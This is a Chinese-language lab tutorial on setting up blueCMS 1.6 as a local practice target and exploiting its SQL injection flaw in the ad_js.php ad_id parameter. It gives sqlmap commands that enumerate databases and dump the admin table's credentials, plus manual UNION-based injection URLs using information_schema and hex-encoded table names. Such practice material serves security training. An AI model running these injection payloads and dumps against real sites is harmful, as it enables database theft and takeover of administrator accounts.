1, 本地搭建靶场
搭建CMS:blueCMS1.6
环境:PHP+Mysql
使用工具:phpstudy
准备工作:安装Python软件
步骤一:https://github.com/source-trace/bluecms
步骤二:将下载好的CMS文件解压到phpstudy目录下的WWW目录里面(注意文件路径:本地搭建靶场WWW文件夹位于PHPTutorial文件夹里面,如下图src文件夹即为CMS文件解压后的文件)。
步骤三:本机开启phpstudy 下载链接:phpStudySetup.rar官方版下载丨最新版下载丨绿色版下载丨APP下载-123云盘
注意: 1,使用php5.2.17版本+apache,版本切换请点击下图标识点1选择
2,确认选择非服务模式,见下图标识点2
3,点其他选项菜单,见下图标识点3,新的弹出菜单里选择"phpStudy设置"—
—“端口常规设置”, 设置端口为80。
步骤四:本地打开Google Chrome浏览器,访问http://localhost/src/uploads/install/ 安装CMS.**
出现以上页面就代表我们可以安装CMS了,勾选复选框,点击“继续”
再点击“继续”
数据库名称:可随便写(建议写bluecms),数据库用户名:root ,数据库密码:root 。管理员姓名、登录密码可以自行设置。
输入完成后点击“下一步”, 等待十多秒后即安装成功。此时访问http://localhost/src/uploads/
返回上面页面即显示我们的bluecms已成功安装,以及靶场搭建完成。此时我们访问后台地址
http://localhost/src/uploads/admin/login.php?act=login
上述页面再次确认我们的靶场已成功搭建。
步骤五:访问我们的靶场(收集数据)
1,我们先网页访问存在漏洞的点
http://localhost/src/uploads/ad_js.php?ad_id=1
无数据返回,我们再用sql注入的方式再执行访问
http://localhost/src/uploads/ad_js.php?ad_id=1%27
2,发现疑似存在sql注入,使用sqlmap来进行进一步探查。
先下载sqlmap.zip文件并解压,下载地址:sqlmap.zip官方版下载丨最新版下载丨绿色版下载丨APP下载-123云盘
打开我们已经解压好的sqlmap文件夹(此时可以看到sqlmap.py文件,见下图),地址栏输入cmd,回车,打开命令提示符窗口。
输入:python sqlmap.py -u http://localhost/src/uploads/ad_js.php?ad_id=1 回车(见下图)
备注:由于上述地址不是登录之后才能访问的地址,所以可以直接使用-u
遇到询问输入Y回车,等运行结束。
发现存在注入,接下来使用命令查看数据库:
python sqlmap.py -u http://localhost/src/uploads/ad_js.php?ad_id=1 -batch -dbs
接下来查看数据库“bluecms"里的数据表:
python sqlmap.py -u http://localhost/src/uploads/ad_js.php?ad_id=1 -batch -dbs -D "bluecms" -tables
接下来查询blue_admin数据命令:
python sqlmap.py -u http://localhost/src/uploads/ad_js.php?ad_id=1 -batch -dbs -D "bluecms" -T "blue_admin" --dump
发现账号密码为: yanghao/123456,输入之后成功登录
步骤六:在初期渗透测试的过程中,为了熟练操作数据库语句,我们还可以尝试使用手工注入查字段
打开浏览器,输入:http://localhost/src/uploads/ad_js.php?ad_id=1%20order%20by%201
无数据返回,我们重新输入:http://localhost/src/uploads/ad_js.php?ad_id=1%20order%20by%2010
和 http://localhost/src/uploads/ad_js.php?ad_id=1%20order%20by%207
http://localhost/src/uploads/ad_js.php?ad_id=1%20order%20by%208
返回页面分别如下:
发现存在7个字段,order by 是查询字段数,因为页面没有回显点,接下来我们通过查看源代码来查找回显点:
view-source:http://localhost/src/uploads/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,7
发现7为回显点,查询数据表名命令:
view-source:http://localhost/src/uploads/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1
发现数据表名第一个为blue_id,查询第二个表名,再结尾修改limit 0,1 为 limit 1,1
view-source:http://localhost/src/uploads/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1
接下来查字段
view-source:http://localhost/src/uploads/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x626c75655f61646d696e%20limit%200,1
(知识点:在如果存在转义情况下,可以使用16进制来进行注入)如下所示:
view-source:http://localhost/src/uploads/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,column_name from information_schema.columns where table_schema=database() and table_name=0x626c75655f61646d696e limit 0,1
2,虚拟机搭建靶场
步骤1:准备工作
在虚拟机软件中创建两个虚拟机环境并同时启动:一个是Kali Linux,另一个是Windows 2003。
步骤2:安装和配置环境
在虚拟机Windows 2003中安装phpstudy。
下载blueCMS1.6文件,并解压得到一个名为"src"的文件夹。
将解压后的"src"文件夹拖入到虚拟机Windows 2003的phpstudy/WWW文件夹中。
在虚拟机Windows 2003里启动phpstudy,并设置端口号为90,其他设置参照前面本地搭建靶场phpstudy设置。
在虚拟机Windows 2003中打开运行窗口(Windows+R),输入"cmd"打开命令提示符。
在管理员命令提示符界面中,输入"ipconfig"获取虚拟机Windows 2003的IP地址。
步骤3:安装CMS
在虚拟机Kali Linux中打开浏览器。
输入"http://ip:端口/src/uploads/install/"访问CMS安装页面。 (注意:将IP替换为在前面步骤中通过ipconfig命令获取到的虚拟机Windows 2003的IP地址,端口设置为90)
(比如我电脑上虚拟系统Windows2003的IP是192.168.154.131,端口90;我在kali-linux虚拟系统里面的访问地址就是http://192.168.154.131:90/src/uploads/install/)
步骤4:访问靶场
完成CMS安装后,导入sqlmap文件夹至虚拟机Kali Linux中root文件夹内(可在本机系统用Xftp软件实现),此时sqlmap.py文件路径为root/sqlmap/,访问靶场。Xftp软件下载链接:Xftp-7.0.0150p.exe官方版下载丨最新版下载丨绿色版下载丨APP下载-123云盘
打开虚拟机Kali Linux,登录root账户,进入Terminal终端, 输入命令 cd sqlmap 回车,返回以下界面
此时就可以像本地运行命令提示符窗口输入命令并正常执行,输入命令:
python sqlmap.py -u http://192.168.154.131:90/src/uploads/ad_js.php?ad_id=1
(192.168.154.131:90是我虚拟机Windows2003的IP:端口,此处你应该替换成你自己查到的IP:端口)
后续执行步骤与前面本地搭建靶场步骤相同的操作,只需将本地搭建靶场访问地址中的"localhost"替换为查询到的IP地址和端口。